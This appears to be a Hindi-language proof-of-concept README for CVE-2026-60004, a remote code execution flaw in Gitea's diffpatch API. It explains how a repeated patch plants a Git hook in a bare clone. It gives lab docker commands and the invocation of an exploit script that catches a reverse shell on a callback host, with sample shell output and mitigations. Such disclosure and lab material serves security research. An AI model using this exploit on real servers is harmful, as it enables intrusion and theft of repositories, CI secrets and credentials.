अपडेट पर वापस जाएँ
UpdatedAug 7, 2026

CVE-2026-60004 — Updated!

Gitea diffpatch RCE

साझा करें

CVE-2026-60004 Gitea diffpatch RCE

★ CVE-2026-60004 Gitea diffpatch Git Hook RCE PoC ★

https://github.com/user-attachments/assets/403a70f4-4ff4-4ab7-b11c-d73d70adaf0b


अवलोकन

CVE-2026-60004 Gitea में एक रिमोट कोड एक्ज़ीक्यूशन (RCE) भेद्यता है। diffpatch API प्रदान किए गए पैच को git apply --cached के साथ लागू करता है, जिसे केवल इंडेक्स को छूना चाहिए और डिस्क पर कभी फ़ाइलें नहीं लिखनी चाहिए। उसी पैच को दो बार भेजकर, एक हमलावर add/add टकराव को मजबूर करता है जो Git के थ्री-वे मर्ज फ़ॉलबैक (-3) को ट्रिगर करता है। वह पथ --cached को अनदेखा करता है और फ़ाइल को वर्किंग ट्री में चेक आउट करता है। क्योंकि अस्थायी क्लोन बेयर है, इसका वर्किंग ट्री रूट $GIT_DIR है। एक पैच जो एक निष्पादन योग्य hooks/post-index-change बनाता है, इसलिए एक लाइव Git हुक उतारता है, जिसे Git अगले इंडेक्स अपडेट पर स्वचालित रूप से चलाता है — Gitea सेवा खाते के रूप में कमांड निष्पादित करता है। एंडपॉइंट को रिपॉजिटरी लेखन पहुंच की आवश्यकता होती है, लेकिन पंजीकरण डिफ़ॉल्ट रूप से सक्षम है, इसलिए कोई भी उपयोगकर्ता जो साइन अप कर सकता है और रिपॉजिटरी बना सकता है, उस तक पहुंच सकता है।


प्रभावित संस्करण

श्रेणीसंस्करण
कमजोरGitea 1.17 ≤ संस्करण ≤ 1.27.0
पैच किया गयाGitea 1.27.1 या बाद का

प्रभाव

  • Gitea सेवा खाते (git) के रूप में रिमोट कोड एक्ज़ीक्यूशन
  • सभी होस्ट किए गए रिपॉजिटरी, CI रहस्यों और डेटाबेस क्रेडेंशियल्स तक पहुंच

वातावरण

कमजोर Gitea वातावरण बनाएं और चलाएं। पंजीकरण खुला छोड़ दिया गया है और सर्वर Git 2.32+ के साथ आता है, जो उस -3 फ़ॉलबैक को सक्षम करता है जिस पर हमला निर्भर करता है।

docker build -t cve-2026-60004 .
docker run -d --name cve-2026-60004 -p 3000:3000 cve-2026-60004
पूर्व शर्तइस प्रयोगशाला में स्थिति
Gitea 1.17 – 1.27.01.27.0
सर्वर पर Git 2.32+ (-3 सक्षम करता है)2.54
खुला पंजीकरणसक्षम (डिफ़ॉल्ट)
रिपॉजिटरी लेखन पहुंचस्व-पंजीकृत खाते के माध्यम से

PoC

शोषण gitea_exploit.py द्वारा पूरी तरह से स्वचालित है। एक खाते को देखते हुए जो रिपॉजिटरी बना सकता है, यह लक्ष्य रिपॉजिटरी बनाता है, उसी पैच को बार-बार तब तक सबमिट करता है जब तक Git का -3 फ़ॉलबैक सक्रिय नहीं हो जाता, और एक अंतर्निहित लिसनर के साथ रिवर्स शेल को पकड़ता है — कोई मैन्युअल सेटअप, पैच निर्माण, या ब्लॉब-हैश गणित की आवश्यकता नहीं है।

# python3 gitea_exploit.py <target ip:port> <callback ip> [callback port]
python3 gitea_exploit.py 172.17.0.2:3000 172.17.0.3 4444 \
  --user test --pw 11111111 --repo rce

-3 फ़ॉलबैक केवल कुछ टाइमिंग विंडो में सक्रिय होता है, इसलिए स्क्रिप्ट create → send → send तब तक लूप करती है जब तक वह पकड़ नहीं लेती (डिफ़ॉल्ट 25 प्रयास)। जब एक send ब्लॉक होता है, हुक सक्रिय हो चुका होता है और लिसनर आपको git के रूप में एक शेल में डाल देता है:

[*] attempt  3/25 -> send#1 201, send#2 timeout   <- BLOCKED (fired!)
[+] shell from 172.17.0.2:53344 -- type commands, Ctrl-C to quit
uid=1000(git) gid=1000(git) groups=1000(git)

विकल्प:

  • --no-listen — अंतर्निहित लिसनर के बजाय अपने स्वयं के बाहरी nc के साथ शेल पकड़ें
  • --user / --pw / --repo / --branch — डिफ़ॉल्ट खाते और लक्ष्य रिपॉजिटरी को ओवरराइड करें

शमन

  • Gitea को 1.27.1 या बाद के संस्करण में अपग्रेड करें
  • यदि आवश्यक न हो तो खुला पंजीकरण अक्षम करें (DISABLE_REGISTRATION=true)
  • प्रतिबंधित करें कि इंस्टेंस तक कौन पहुंच सकता है और रिपॉजिटरी बना सकता है

विश्लेषण

  • KR: जल्द ही आ रहा है!
  • EN:

श्रेणियाँ